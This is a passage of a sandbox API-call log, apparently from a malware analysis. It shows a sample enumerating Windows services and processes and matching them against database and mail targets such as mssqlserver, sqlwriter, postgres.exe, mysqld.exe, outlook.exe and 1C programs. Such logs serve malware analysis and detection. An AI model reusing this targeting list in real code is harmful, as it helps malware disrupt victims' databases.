(lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0115.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0115.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0115.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0115.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0115.530] lstrlenW (lpString="ProfSvc") returned 7 [0115.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0115.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0115.530] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0115.530] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0115.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0115.530] lstrlenW (lpString="RpcEptMapper") returned 12 [0115.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0115.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0115.530] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0115.530] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0115.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0115.530] lstrlenW (lpString="RpcSs") returned 5 [0115.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0115.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0115.530] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0115.530] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0115.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0115.530] lstrlenW (lpString="SamSs") returned 5 [0115.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0115.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0115.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0115.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0115.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0115.530] lstrlenW (lpString="Schedule") returned 8 [0115.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0115.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0115.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0115.531] lstrlenW (lpString="SENS") returned 4 [0115.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0115.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0115.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0115.531] lstrlenW (lpString="ShellHWDetection") returned 16 [0115.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.531] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0115.531] lstrlenW (lpString="Spooler") returned 7 [0115.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0115.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0115.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0115.531] lstrlenW (lpString="sppsvc") returned 6 [0115.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0115.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0115.531] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0115.531] lstrlenW (lpString="SysMain") returned 7 [0115.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0115.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0115.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0115.531] lstrlenW (lpString="Themes") returned 6 [0115.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0115.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0115.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0115.531] lstrlenW (lpString="TrkWks") returned 6 [0115.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0115.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0115.531] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0115.531] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0115.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0115.532] lstrlenW (lpString="UxSms") returned 5 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0115.532] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0115.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0115.532] lstrlenW (lpString="W32Time") returned 7 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0115.532] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0115.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0115.532] lstrlenW (lpString="WdiServiceHost") returned 14 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0115.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0115.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0115.532] lstrlenW (lpString="WdiSystemHost") returned 13 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0115.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0115.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0115.532] lstrlenW (lpString="WinDefend") returned 9 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0115.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0115.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0115.532] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0115.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0115.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0115.532] lstrlenW (lpString="Winmgmt") returned 7 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0115.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0115.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0115.532] lstrlenW (lpString="wscsvc") returned 6 [0115.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0115.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0115.532] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0115.533] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0115.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0115.533] lstrlenW (lpString="wuauserv") returned 8 [0115.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0115.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0115.533] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0115.533] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0115.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0115.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0115.535] Process32FirstW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.535] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.536] lstrlenW (lpString="System") returned 6 [0115.536] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0115.536] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0115.536] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0115.536] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0115.536] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0115.536] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0115.536] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0115.536] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.537] lstrlenW (lpString="smss.exe") returned 8 [0115.537] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0115.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0115.537] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.537] lstrlenW (lpString="csrss.exe") returned 9 [0115.537] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.538] lstrlenW (lpString="wininit.exe") returned 11 [0115.538] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.539] lstrlenW (lpString="csrss.exe") returned 9 [0115.539] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.540] lstrlenW (lpString="winlogon.exe") returned 12 [0115.540] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.540] lstrlenW (lpString="services.exe") returned 12 [0115.540] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.541] lstrlenW (lpString="lsass.exe") returned 9 [0115.541] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0115.541] lstrlenW (lpString="lsm.exe") returned 7 [0115.541] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.542] lstrlenW (lpString="svchost.exe") returned 11 [0115.542] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.543] lstrlenW (lpString="svchost.exe") returned 11 [0115.543] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.543] lstrlenW (lpString="svchost.exe") returned 11 [0115.543] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.544] lstrlenW (lpString="svchost.exe") returned 11 [0115.544] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.544] lstrlenW (lpString="svchost.exe") returned 11 [0115.545] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.545] lstrlenW (lpString="audiodg.exe") returned 11 [0115.545] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.546] lstrlenW (lpString="svchost.exe") returned 11 [0115.546] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.547] lstrlenW (lpString="svchost.exe") returned 11 [0115.547] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.547] lstrlenW (lpString="dwm.exe") returned 7 [0115.547] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.548] lstrlenW (lpString="explorer.exe") returned 12 [0115.548] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.549] lstrlenW (lpString="spoolsv.exe") returned 11 [0115.549] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.549] lstrlenW (lpString="taskhost.exe") returned 12 [0115.549] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.550] lstrlenW (lpString="svchost.exe") returned 11 [0115.550] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.551] lstrlenW (lpString="taskeng.exe") returned 11 [0115.551] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.551] lstrlenW (lpString="taskhost.exe") returned 12 [0115.551] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0115.552] lstrlenW (lpString="fixwaves.exe") returned 12 [0115.552] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0115.553] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0115.553] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0115.553] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0115.553] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0115.554] lstrlenW (lpString="monsaver.exe") returned 12 [0115.554] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0115.555] lstrlenW (lpString="dosesugar.exe") returned 13 [0115.555] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0115.555] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0115.555] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0115.556] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0115.556] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0115.557] lstrlenW (lpString="nonprofit top.exe") returned 17 [0115.557] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0115.557] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0115.557] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0115.558] lstrlenW (lpString="accused.exe") returned 11 [0115.558] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0115.559] lstrlenW (lpString="governance.exe") returned 14 [0115.559] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0115.559] lstrlenW (lpString="old.exe") returned 7 [0115.559] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0115.560] lstrlenW (lpString="xi cg.exe") returned 9 [0115.560] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0115.560] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0115.560] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0115.561] lstrlenW (lpString="burlington.exe") returned 14 [0115.561] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0115.562] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0115.562] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0115.562] lstrlenW (lpString="buildings.exe") returned 13 [0115.562] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, 